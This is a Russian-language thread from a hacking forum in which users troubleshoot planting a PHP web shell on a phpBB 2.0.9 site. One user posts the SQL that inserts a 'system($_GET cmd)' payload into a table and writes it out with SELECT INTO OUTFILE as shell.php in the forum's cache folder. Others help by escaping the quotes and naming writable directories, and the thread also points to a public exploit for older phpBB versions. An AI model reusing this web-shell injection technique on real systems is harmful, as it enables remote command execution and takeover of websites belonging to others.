HOME FORUMS MEMBERS RECENT POSTS LOG IN  
× Авторизация
Имя пользователя:
Пароль:
Нет аккаунта? Регистрация
Баннер 1   Баннер 2
НОВЫЕ ТОРГОВАЯ НОВОСТИ ЧАТ
loading...
Скрыть
Вернуться   ANTICHAT > БЕЗОПАСНОСТЬ И УЯЗВИМОСТИ > Уязвимости > Уязвимости CMS / форумов
Перезагрузить страницу Заливка шелла в phpBB 2.0.9 через SQL
   
Закрытая тема
Страница 1 из 2 1 2 >
 
Опции темы Поиск в этой теме Опции просмотра

Заливка шелла в phpBB 2.0.9 через SQL
  #1  
Старый 05.06.2006, 13:29
bandera
Познающий
Регистрация: 02.06.2006
Сообщений: 66
С нами: 10495365

Репутация: 69
По умолчанию Заливка шелла в phpBB 2.0.9 через SQL
Почему вылетает такая ошибка при востонавлениие БД. Что можно сделать.

Error importing backup file DEBUG MODE SQL Error : 1064 You have an error in your SQL syntax; check the manual that corresponds to your MySQL server version for the right syntax to use near 'cmd']); ?>', '10')' at line 1 INSERT INTO phpbb_categories (cat_id, cat_title, cat_order) VALUES('1', '', '10') Line : 980 File : /home/xxxxx/public_html/forum/admin/admin_db_utilities.php
𝕏 Twitter Reddit Telegram Копировать ссылку
 

  #2  
Старый 05.06.2006, 13:34
Rebz
Флудер
Регистрация: 08.11.2004
Сообщений: 3,395
С нами: 11317286

Репутация: 3876


По умолчанию
'cmd']); ?> - это что такое?)) шелл напоминает наполовину)

смотри таблицу phpbb_categories. Смотри значения таблицы..скорее всего в ней дело. точно не знаю.
 

  #3  
Старый 05.06.2006, 13:49
bandera
Познающий
Регистрация: 02.06.2006
Сообщений: 66
С нами: 10495365

Репутация: 69
По умолчанию
Цитата:
Сообщение от Rebz  
'cmd']); ?> - это что такое?)) шелл напоминает наполовину)
Да не это ошибка так вылетает:
Писал всё правильно.

INSERT INTO phpbb_categories (cat_id, cat_title, cat_order) VALUES('1', '<? system(GET['cmd']); ?>', '10');

Потом:
SELECT cat_title INTO OUTFILE '/home/xxxx/public_html/forum/cache/shell.php' FROM phpbb_categories where cat_id=1;

Не пойму чо за хрень такая...

Цитата:
смотри таблицу phpbb_categories. Смотри значения таблицы..скорее всего в ней дело. точно не знаю.
Нет таблица стандартная.
Последний раз редактировалось bandera; 05.06.2006 в 13:52..
 

  #4  
Старый 05.06.2006, 13:54
GreenBear
наркоман с медалью
Регистрация: 07.05.2005
Сообщений: 3,704
С нами: 11058146

Репутация: 4536


По умолчанию
Цитата:
INSERT INTO phpbb_categories (cat_id, cat_title, cat_order) VALUES('1', '<? system(GET['cmd']); ?>', '10');
Говорят если ковычки заслешировать - поможет.
Цитата:
<? system(GET[\'cmd\']); ?>
 

  #5  
Старый 05.06.2006, 14:06
GreenBear
наркоман с медалью
Регистрация: 07.05.2005
Сообщений: 3,704
С нами: 11058146

Репутация: 4536


По умолчанию
Ну дальше то что? Заслешировать то все равно надо.
Запрос к мускулу идет не правильный, хоть отедльный запрос, хоть востановление из бэкапа.
 

  #6  
Старый 05.06.2006, 14:10
bandera
Познающий
Регистрация: 02.06.2006
Сообщений: 66
С нами: 10495365

Репутация: 69
По умолчанию
Green_Bear сэнкс помогло=)

Теперь другая проблема - какая папка ещё может быть доступна для записи? А то Access denied =)
Последний раз редактировалось bandera; 05.06.2006 в 14:17..
 

  #7  
Старый 05.06.2006, 14:20
GreenBear
наркоман с медалью
Регистрация: 07.05.2005
Сообщений: 3,704
С нами: 11058146

Репутация: 4536


По умолчанию
images/avatars/
 

  #8  
Старый 05.06.2006, 14:33
bandera
Познающий
Регистрация: 02.06.2006
Сообщений: 66
С нами: 10495365

Репутация: 69
По умолчанию
Цитата:
Сообщение от Green_Bear  
images/avatars/
не некатит (странно чо за хрень) ещё может что нибудь быть?
Последний раз редактировалось bandera; 05.06.2006 в 14:47..
 

  #9  
Старый 05.06.2006, 14:36
bandera
Познающий
Регистрация: 02.06.2006
Сообщений: 66
С нами: 10495365

Репутация: 69
По умолчанию
Вопрос вот по этому сплойту для пхпбб <2.0.10:
http://milw0rm.com/id.php?id=647
его исправлять надо или что, а то у меня лампочка на модеме не моргнула даже, а он пишет cant connect.
Последний раз редактировалось bandera; 05.06.2006 в 14:43..
 

  #10  
Старый 06.06.2006, 14:43
SK | Heaton
Постоянный
Регистрация: 18.06.2005
Сообщений: 872
С нами: 10997666

Репутация: 765


По умолчанию
images/avatars/ это папка доступна для записи просто это папка стоит на фильтрации зависимо от типа файлов и размера.
 
Закрытая тема
Страница 1 из 2 1 2 >



Предыдущая тема Следующая тема

Здесь присутствуют: 1 (пользователей: 0 , гостей: 1)
 


Быстрый переход




ANTICHAT ™ © 2001- Antichat Kft.